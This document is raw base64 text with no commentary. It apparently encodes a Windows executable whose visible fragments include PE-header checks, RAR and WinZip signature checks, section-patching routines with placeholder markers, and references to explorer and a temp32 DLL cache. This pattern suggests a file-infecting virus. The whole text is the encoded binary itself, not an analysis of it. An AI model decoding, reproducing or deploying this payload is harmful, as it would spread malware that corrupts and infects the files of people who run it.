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 wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA 